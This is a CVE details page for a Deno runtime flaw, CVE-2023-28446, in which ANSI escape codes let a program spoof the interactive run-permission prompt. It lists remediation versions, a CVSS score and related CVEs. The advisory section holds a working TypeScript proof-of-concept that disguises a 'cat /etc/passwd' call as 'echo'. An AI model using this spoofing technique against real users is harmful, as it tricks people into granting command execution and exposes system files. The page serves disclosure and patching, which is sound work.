CVE-2023-28446 — Vulnerability in deno_runtime — CVE Details
Interactive `run` permission prompt spoofing via improper ANSI neutralization
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.07%). Schedule for your next planned update.
Does your project use an affected deno_runtime version?
Paste your Cargo.lock to check it for CVE-2023-28446 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.
Details
The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.
PoC
This PoC works on 1.31.1, but modified versions of it work on older versions.
Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt
const boldANSI = "\u001b[1m" // bold
const unboldANSI = "\u001b[22m" // unbold
const prompt = `┌ ⚠ ${boldANSI}Deno requests run access to "echo"${unboldANSI}
├ Requested by \`Deno.Command().output()`
const moveANSIUp = "\u001b[1A" // moves to the start of the line
const clearANSI = "\u001b[2K" // clears the line
const moveANSIStart = "\u001b[1000D" // moves to the start of the line
Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({
cmd: "cat",
args: ["/etc/passwd"],
clearEnv: false,
env: [],
stdin: "null",
stdout: "inherit",
stderr: "piped"
}, moveANSIUp + clearANSI + moveANSIStart + prompt)
Run the file with deno run index.ts.
Impact
Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:
// Expected Prompt
┌ ⚠ Deno requests run access to "cat"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
// Actual Prompt
┌ ⚠ Deno requests run access to "echo"
├ Requested by `Deno.Command().output()` API
├ Run again with --allow-run to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >
This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.
This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).
Before v1.31.0, this requires the --unstable flag.
Advisory Timeline
- First published March 24, 2023 (1343 days ago).
- Last revised September 10, 2026 — 1265 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
cargo update -p deno_runtime --precise 1.31.2
cargo update -p deno --precise 1.31.2
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (2)
Affects 1 ecosystem: crates.io (2).
| Package | Fixed In |
|---|---|
| deno_runtime crates.io · Affected: All versions | 1.31.2 |
| deno crates.io · Affected: All versions | 1.31.2 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-150
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
References
- https://github.com/denoland/deno/security/advisories/GHSA-vq67-rp93-65qfWEB
- https://nvd.nist.gov/vuln/detail/CVE-2023-28446ADVISORY
- https://github.com/denoland/denoPACKAGE
- https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175WEB
- https://github.com/denoland/deno/releases/tag/v1.31.2WEB
Frequently Asked Questions
- What is CVE-2023-28446?
- Interactive `run` permission prompt spoofing via improper ANSI neutralization. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2023-28446?
- CVE-2023-28446 affects deno_runtime and deno. It has a 1.1% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2023-28446 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 64.4% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2023-28445CRITICAL
Deno improperly handles resizable ArrayBuffer
- CVE-2026-49440HIGH
Deno: Miller-Rabin Primality Test Allows Zero Rounds
- CVE-2026-44726HIGH
Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
- CVE-2025-21620HIGH
fetch: Authorization headers not dropped when redirecting cross-origin
- CVE-2026-27190HIGH
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
- CVE-2025-61787HIGH
Deno is Vulnerable to Command Injection on Windows During Batch File Execution
- CVE-2024-27936HIGH
Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping
- CVE-2023-33966HIGH
Missing "--allow-net" permission check for built-in Node modules